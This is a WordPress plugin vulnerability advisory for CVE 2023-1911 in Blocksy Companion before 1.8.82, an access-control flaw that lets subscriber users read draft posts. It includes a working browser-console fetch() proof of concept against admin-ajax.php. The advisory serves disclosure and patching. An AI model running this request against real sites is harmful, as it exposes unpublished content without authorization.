Blocksy Companion < 1.8.82 – Subscriber+ Draft Post Access | CVE 2023-1911 | Plugin Vulnerabilities

Description

The plugin does not ensure that posts to be accessed via a shortcode are already public and can be viewed, allowing any authenticated users, such as subscriber to access draft posts for example

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[blocksy_posts post_ids='518']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The title and content of the draft post with ID 518 will be displayed in the response

Affects Plugins

blocksy-companion

Fixed in 1.8.82

References

CVE

Classification

Type

IDOR

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

e7c52af0-b210-4e7d-a5e0-ee0645ddc08c

Timeline

Publicly Published

2023-04-10 (about 2 years ago)

Added

2023-04-10 (about 2 years ago)

Last Updated

2023-04-10 (about 2 years ago)

Other

Published

Title

Published

2021-03-17

Title

BuddyPress < 7.2.1 - Force a Friendship

Published

2024-11-08

Title

Content Slider Block – Create fully functional slider with Gutenberg block < 3.1.6 - Authenticated (Contributor+) Post Disclosure

Published

2025-04-30

Title

WordPress Simple PayPal Shopping Cart < 5.1.4 - Insecure Direct Object Reference via 'quantity'

Published

2025-11-11

Title

Wishlist and Save for later for Woocommerce < 1.1.23 - Insecure Direct Object Reference to Authenticated (Subscriber+) Wishlist Item Deletion

Published

2024-10-14

Title

WP 2FA with Telegram < 3.1 - Authenticated (Subscriber+) Authentication Bypass